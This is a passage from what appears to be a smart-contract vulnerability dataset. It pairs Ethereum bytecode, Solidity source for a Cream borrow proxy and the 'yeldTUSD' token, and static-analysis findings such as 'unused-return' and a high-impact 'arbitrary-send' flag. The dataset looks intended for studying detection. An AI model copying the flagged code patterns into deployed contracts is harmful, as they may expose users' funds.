068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba157600080fd5b600360149054906101000a900460ff16151515610bbd57600080fd5b6b033b2e3c9fd0803ce8000000610bdf8360005461177690919063ffffffff16565b1115610bee5760009050610d57565b610c038260005461177690919063ffffffff16565b600081905550610c5b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e6e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f02565b610e81838261175d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109557600080fd5b600360149054906101000a900460ff161515156110b157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544743000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561119b57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111e957600080fd5b61123b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061141382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561169d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561176b57fe5b818303905092915050565b600080828401905083811015151561178a57fe5b80915050929150505600a165627a7a7230582058a5df912cc4bb739e8dcafbdd555c191f124e39b9700f292c58ba9a8e7a39640029a165627a7a72305820d1ef6d7e5fb24b9887938c28f0c106cfe97ac48bb9375faa23b8db6994fd48db0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,987 |
0x87f198ef6116cdbc5f36b581d212ad950b7e2ddd
|
pragma solidity ^0.6.0; interface ERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)
external
returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} abstract contract CTokenInterface is ERC20 {
function mint(uint256 mintAmount) external virtual returns (uint256);
// function mint() external virtual payable;
function accrueInterest() public virtual returns (uint);
function redeem(uint256 redeemTokens) external virtual returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external virtual returns (uint256);
function borrow(uint256 borrowAmount) external virtual returns (uint256);
function repayBorrow(uint256 repayAmount) external virtual returns (uint256);
function repayBorrow() external virtual payable;
function repayBorrowBehalf(address borrower, uint256 repayAmount) external virtual returns (uint256);
function repayBorrowBehalf(address borrower) external virtual payable;
function liquidateBorrow(address borrower, uint256 repayAmount, address cTokenCollateral)
external virtual
returns (uint256);
function liquidateBorrow(address borrower, address cTokenCollateral) external virtual payable;
function exchangeRateCurrent() external virtual returns (uint256);
function supplyRatePerBlock() external virtual returns (uint256);
function borrowRatePerBlock() external virtual returns (uint256);
function totalReserves() external virtual returns (uint256);
function reserveFactorMantissa() external virtual returns (uint256);
function borrowBalanceCurrent(address account) external virtual returns (uint256);
function totalBorrowsCurrent() external virtual returns (uint256);
function getCash() external virtual returns (uint256);
function balanceOfUnderlying(address owner) external virtual returns (uint256);
function underlying() external virtual returns (address);
function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint);
} abstract contract ComptrollerInterface {
function enterMarkets(address[] calldata cTokens) external virtual returns (uint256[] memory);
function exitMarket(address cToken) external virtual returns (uint256);
function getAssetsIn(address account) external virtual view returns (address[] memory);
function markets(address account) public virtual view returns (bool, uint256);
function getAccountLiquidity(address account) external virtual view returns (uint256, uint256, uint256);
function claimComp(address holder) virtual public;
function oracle() public virtual view returns (address);
} library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(ERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*/
function safeApprove(ERC20 token, address spender, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(ERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
} contract CreamBorrowProxy {
using SafeERC20 for ERC20;
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant COMPTROLLER_ADDR = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258;
function borrow(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) public {
address[] memory markets = new address[](2);
markets[0] = _cCollToken;
markets[1] = _cBorrowToken;
ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets);
require(CTokenInterface(_cBorrowToken).borrow(_amount) == 0);
// withdraw funds to msg.sender
if (_borrowToken != ETH_ADDR) {
ERC20(_borrowToken).safeTransfer(msg.sender, ERC20(_borrowToken).balanceOf(address(this)));
} else {
msg.sender.transfer(address(this).balance);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806346d6773b146100465780637753f47b1461006a578063afef7efd14610072575b600080fd5b61004e6100b0565b604080516001600160a01b039092168252519081900360200190f35b61004e6100c8565b6100ae6004803603608081101561008857600080fd5b506001600160a01b038135811691602081013582169160408201351690606001356100e0565b005b733d5bc3c8d13dcb8bf317092d84783c2697ae925881565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b6040805160028082526060808301845292602083019080368337019050509050848160008151811061010e57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061013c57fe5b6001600160a01b03909216602092830291909101820152604051631853304760e31b815260048101828152835160248301528351733d5bc3c8d13dcb8bf317092d84783c2697ae92589363c2998238938693928392604490920191858101910280838360005b838110156101ba5781810151838201526020016101a2565b5050505090500192505050600060405180830381600087803b1580156101df57600080fd5b505af11580156101f3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561021c57600080fd5b810190808051604051939291908464010000000082111561023c57600080fd5b90830190602082018581111561025157600080fd5b825186602082028301116401000000008211171561026e57600080fd5b82525081516020918201928201910280838360005b8381101561029b578181015183820152602001610283565b5050505090500160405250505050836001600160a01b031663c5ebeaec836040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156102ef57600080fd5b505af1158015610303573d6000803e3d6000fd5b505050506040513d602081101561031957600080fd5b50511561032557600080fd5b6001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146103dc576103d733846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561039a57600080fd5b505afa1580156103ae573d6000803e3d6000fd5b505050506040513d60208110156103c457600080fd5b50516001600160a01b0386169190610411565b61040a565b60405133904780156108fc02916000818181858888f19350505050158015610408573d6000803e3d6000fd5b505b5050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610463908490610468565b505050565b60606104bd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166105199092919063ffffffff16565b805190915015610463578080602001905160208110156104dc57600080fd5b50516104635760405162461bcd60e51b815260040180806020018281038252602a815260200180610715602a913960400191505060405180910390fd5b60606105288484600085610530565b949350505050565b606061053b856106db565b61058c576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106105cb5780518252601f1990920191602091820191016105ac565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461062d576040519150601f19603f3d011682016040523d82523d6000602084013e610632565b606091505b509150915081156106465791506105289050565b8051156106565780518082602001fd5b8360405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156106a0578181015183820152602001610688565b50505050905090810190601f1680156106cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061052857505015159291505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212205b0f20430a2203792762bdcc14501568f49942b4a68a2a92471fdf3bc25f014e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,988 |
0x5924d2d44bdbfa652ad32959a89bde627723393c
|
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address payable private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address payable) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract yeldTUSD is ERC20, ERC20Detailed, Ownable {
using SafeMath for uint256;
address public yTUSDAddress;
uint256 public initialPrice = 10000;
uint256 public fromYeldTTUSDoYeld = initialPrice * (10 ** 18); // Must be divided by 1e18 to get the real value
uint256 public fromTTUSDoYeldTUSDPrice = fromYeldTTUSDoYeld / initialPrice; // Must be divided by 1e18 to get the real value
uint256 public yeldReward = 1;
uint256 public yeldTUSDDecimals = 18; // The price has 18 decimals meaning you'll have to divide by 1e18 to get the real value
uint256 public lastPriceUpdate = now;
uint256 public priceUpdatePeriod = 1 days;
modifier onlyYTUSD {
require(msg.sender == yTUSDAddress);
_;
}
constructor() public payable ERC20Detailed("yeld TUSD", "yeldTUSD", 18) {}
function setYTUSD(address _yTUSDAddress) public onlyOwner {
yTUSDAddress = _yTUSDAddress;
}
function mint(address _to, uint256 _amount) public onlyYTUSD {
_mint(_to, _amount);
}
function burn(address _to, uint256 _amount) public onlyYTUSD {
_burn(_to, _amount);
}
/// To change how many tokens the users get.
/// Right now it's at 10k which means 1 million TUSD staked = 100 yeld a day
function changePriceRatio(uint256 _price) public onlyOwner {
initialPrice = _price;
}
function checkIfPriceNeedsUpdating() public view returns(bool) {
return now >= lastPriceUpdate + priceUpdatePeriod;
}
/// Updates the current price everyday
/// Everyday this function will be called to calculate how many YELD each staker gets,
/// to get half the generated yield by everybody, use it to buy YELD on uniswap and burn it,
/// and to increase the 1% retirement yield treasury that can be redeemed by holders
function updatePrice() public {
require(checkIfPriceNeedsUpdating(), "The price can't be updated yet");
// Update the price
uint256 daysPassed = (now - lastPriceUpdate) / 1 days;
yeldReward = daysPassed;
lastPriceUpdate = now;
fromYeldTTUSDoYeld = initialPrice.mul(10 ** yeldTUSDDecimals).div(yeldReward);
fromTTUSDoYeldTUSDPrice = fromYeldTTUSDoYeld.div(initialPrice);
}
function extractTokensIfStuck(address _token, uint256 _amount) public onlyOwner {
IERC20(_token).transfer(msg.sender, _amount);
}
function extractETHIfStuck() public onlyOwner {
owner().transfer(address(this).balance);
}
}
|
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c8063715018a61161010f578063ba520482116100a2578063d630766d11610071578063d630766d1461037c578063dd62ed3e1461038f578063f205f0c3146103a2578063f2fde38b146103aa576101e5565b8063ba52048214610351578063c3de888c14610359578063c59850e514610361578063d445b40a14610374576101e5565b80639dc29fac116100de5780639dc29fac14610305578063a457c2d714610318578063a9059cbb1461032b578063a9a1015a1461033e576101e5565b8063715018a6146102d85780638da5cb5b146102e05780638f32d59b146102f557806395d89b41146102fd576101e5565b806335dd19c911610187578063673a7e2811610156578063673a7e28146102ad5780636949faeb146102b55780636f7ba713146102bd57806370a08231146102c5576101e5565b806335dd19c914610275578063395093511461027d57806340c10f19146102905780634fe41129146102a5576101e5565b80631d0806ae116101c35780631d0806ae1461023d578063201ffda81461024557806323b872dd1461024d578063313ce56714610260576101e5565b806306fdde03146101ea578063095ea7b31461020857806318160ddd14610228575b600080fd5b6101f26103bd565b6040516101ff91906113e4565b60405180910390f35b61021b61021636600461100e565b610453565b6040516101ff91906113d6565b610230610471565b6040516101ff91906114a5565b610230610477565b61023061047d565b61021b61025b366004610fc1565b610483565b610268610511565b6040516101ff91906114b3565b61023061051a565b61021b61028b36600461100e565b610520565b6102a361029e36600461100e565b610574565b005b6102a3610599565b6102a3610609565b610230610693565b610230610699565b6102306102d3366004610f61565b61069f565b6102a36106ba565b6102e861072e565b6040516101ff91906113ad565b61021b610742565b6101f261076d565b6102a361031336600461100e565b6107ce565b61021b61032636600461100e565b6107ef565b61021b61033936600461100e565b61085d565b6102a361034c36600461100e565b610871565b6102e861091a565b61021b610929565b6102a361036f36600461105c565b610936565b61023061095f565b6102a361038a366004610f61565b610965565b61023061039d366004610f87565b6109ab565b6102306109d6565b6102a36103b8366004610f61565b6109dc565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610467610460610a09565b8484610a0d565b5060015b92915050565b60025490565b60075481565b60095481565b6000610490848484610ac1565b6105068461049c610a09565b610501856040518060600160405280602881526020016115ad602891396001600160a01b038a166000908152600160205260408120906104da610a09565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610bd716565b610a0d565b5060015b9392505050565b60055460ff1690565b600a5481565b600061046761052d610a09565b84610501856001600061053e610a09565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610c0316565b6006546001600160a01b0316331461058b57600080fd5b6105958282610c28565b5050565b6105a1610742565b6105c65760405162461bcd60e51b81526004016105bd90611455565b60405180910390fd5b6105ce61072e565b6001600160a01b03166108fc479081150290604051600060405180830381858888f19350505050158015610606573d6000803e3d6000fd5b50565b610611610929565b61062d5760405162461bcd60e51b81526004016105bd90611435565b600062015180600c5442038161063f57fe5b04600a81815542600c55600b5460075492935061067592849261066992900a63ffffffff610ce816565b9063ffffffff610d2216565b600881905560075461068d919063ffffffff610d2216565b60095550565b600c5481565b600d5481565b6001600160a01b031660009081526020819052604090205490565b6106c2610742565b6106de5760405162461bcd60e51b81526004016105bd90611455565b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60055460009061010090046001600160a01b031661075e610a09565b6001600160a01b031614905090565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104495780601f1061041e57610100808354040283529160200191610449565b6006546001600160a01b031633146107e557600080fd5b6105958282610d64565b60006104676107fc610a09565b84610501856040518060600160405280602581526020016115d56025913960016000610826610a09565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610bd716565b600061046761086a610a09565b8484610ac1565b610879610742565b6108955760405162461bcd60e51b81526004016105bd90611455565b60405163a9059cbb60e01b81526001600160a01b0383169063a9059cbb906108c390339085906004016113bb565b602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610915919081019061103e565b505050565b6006546001600160a01b031681565b600d54600c540142101590565b61093e610742565b61095a5760405162461bcd60e51b81526004016105bd90611455565b600755565b60085481565b61096d610742565b6109895760405162461bcd60e51b81526004016105bd90611455565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600b5481565b6109e4610742565b610a005760405162461bcd60e51b81526004016105bd90611455565b61060681610e3a565b3390565b6001600160a01b038316610a335760405162461bcd60e51b81526004016105bd90611485565b6001600160a01b038216610a595760405162461bcd60e51b81526004016105bd90611415565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610ab49085906114a5565b60405180910390a3505050565b6001600160a01b038316610ae75760405162461bcd60e51b81526004016105bd90611475565b6001600160a01b038216610b0d5760405162461bcd60e51b81526004016105bd906113f5565b610b5081604051806060016040528060268152602001611587602691396001600160a01b038616600090815260208190526040902054919063ffffffff610bd716565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610b85908263f